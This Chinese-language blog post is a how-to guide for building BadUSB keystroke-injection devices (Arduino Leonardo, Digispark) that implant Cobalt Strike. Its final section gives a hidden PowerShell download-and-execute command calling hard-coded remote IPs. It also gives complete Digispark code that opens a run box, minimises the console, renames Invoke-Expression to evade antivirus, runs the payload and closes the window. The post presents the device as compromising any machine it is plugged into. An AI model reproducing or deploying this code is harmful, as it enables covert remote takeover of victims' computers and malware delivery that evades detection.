分享

近源渗透一把梭之HID与CS免杀的多种方式(设备制作)

 zZ华 2023-07-05 发布于广东

声明:本文仅仅谈论近源渗透中的HID攻击配合CobaltStrike的思路与实践记录。

前言

在之前的一些文章中,笔者做了一些关于近源渗透的文章分享。那么其中的一篇文章提到了用Kali Nethunter发起的Rucky攻击(类BadUSB)。我们下面的Payload只需要稍加修改就可以利用上去。

这篇文章中,主要我们来聊一聊HID攻击。

什么是HID?

HID(HumanInterfaceDevice,是计算机直接与人交互的设备,例如键盘鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前还有两种HID攻击分别是teensy和USB RUBBERDUCKY(usb橡皮鸭)。国科漏斗社区先介绍以下这三种类型有何不同。USB橡皮鸭是一个比较早的按键注入工具,可以根据对应的要求定制软件。但是很早之前价格比较昂贵,目前已经在市场上形成了一种普遍的商业模式。

图片

Teensy是拥有芯片且功能完整的单片机开发系统,可模拟键盘和鼠标,经开发的TeensyUSB可以被电脑识别成鼠标或键盘,进而执行编程的恶意代码。价格较为亲民,开源性比较强,并且可以与Kali配合使用。

图片

 两种设备

 前面已经提到了,我们有很多种方式可以去制作BadUSB,我们先来购买一下我们所需要的设备。(什么?没钱?文章回复、评论将随机抽取用户送出本节课的部分设备。)

我们本篇主要介绍两种制作方法,Teensy和Digispark(橡皮鸭)这两种制作方式。

Teensy制作

准备材料:

  1. Arduino Leonardo

图片

(便宜的淘宝上有抄板的设备)

2.Micro转USB

图片

3.电脑一台

4.Arduino IDE

  

设备清单

  

设备名

途径

价格

Arduino Leonardo

淘宝/某多等

20-40

Micro转USB

淘宝/某多等

4

使用Arduino IDE来编写程序:

图片

选择开发板

图片

随后选择开发板的端口

图片

Arduino使用的是C语言编写,setup函数在设备运行后执行一次,而loop会循环执行。这是两个函数的根本区别。

下面我们来写一个例子:

图片

值得注意的是:

Keyboard.press完一定要Keyboard.release释放按键, 不然会一直按。

Digispark方法

Digispark的优点就是比上面的设备造价稍微便宜一点,网上有现成的外壳可供购买。电路公开。

 购买了Digispark的Ant85后,我们需要安装Digispark的驱动:官方教程:http:///wiki/digispark/tutorials/connecting

图片

附加开发板地址http:///package_digistump_index.json

图片

进入开发板管理页面

图片

搜索找到DigistumpAVR Boards项后点击安装

图片

等待开发板管理器安装完成

驱动下载:https://github.com/digistump/DigistumpArduino

打开已下载的驱动目录选择安装与操作系统相符的程序运行

图片

打开计算机的设备管理器并显示隐藏设备

图片

插入Digispark开发板

注意:如果你的电脑是第一次连接Digispark开发板则会听到USB设备连接的提示音,不过过了大概5秒左右就断开连接了,这是因为无法识别USB驱动造成的。如果不是第一次连接则可能再次插入Digispark时计算机就没有反应了。

图片

测试上传

图片

控制台提示连接设备,将开发板连接到计算机

写入状态说明

如果出现下图提示则说明你上传成功!!

图片

如果出现下图提示则是连接超时,如果超时可以尝试换个usb口或是重新安装驱动

图片

免杀制作上线CS 

图片

由于有文件落地的动作太大,所以这里选择无文件落地的

powershell.exe -nop -w hidden -c 'IEX ((new-objectnet.webclient).downloadstring('http://192.168.52.23:80/a'))'

此条命令的是通过download下载恶意powershell,之后通过IEX在后台隐藏执行

IEX(Invoke-expression)作用是将字符串当成powershell命令执行,并且是加载到内存中执行,不会有文件落地

准备好要烧录的代码

注:由于各个开发板的按键语法都有些差异,导致过程就很繁琐

找到一个大佬的转换脚本:https://github.com/Catboy96/Automator/

要烧录的代码如下:

#include 'DigiKeyboard.h'void setup() {  // put your setup code here, to run once:  DigiKeyboard.delay(2000);//为等待2秒  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//发送win+R  DigiKeyboard.delay(800);  DigiKeyboard.println('cmd /T:01 /K mode CON: COLS=16 LINES=1');//将cmd窗口最小化保证隐蔽性  DigiKeyboard.delay(2000);  DigiKeyboard.println('echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://192.119.1.106:91/a') | powershell -');//要执行的payload  DigiKeyboard.delay(3500);  DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);//执行完成后alt+F4关闭窗口} void loop() {  // put your main code here, to run repeatedly: }

可以看到这是基于C写的,本来想补充的完善一点可是发现一些键根本找不到啊!!!

解释一下为啥每条命令后面都需要等待时间,这是为了给处理器足够的时间进行响应,如果太短,后面的命令将都不会执行或者执行出错。

6,选择箭头指向的上传烧录按钮,之后下面会出现两行红色代码,就是要在60S内把badusb插入,必须在这时候插入,之前插入都不可以,这也是这个开发板的弊端了。

完成后将会自动执行

真的是插谁谁上线啊

到此基本完成了

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多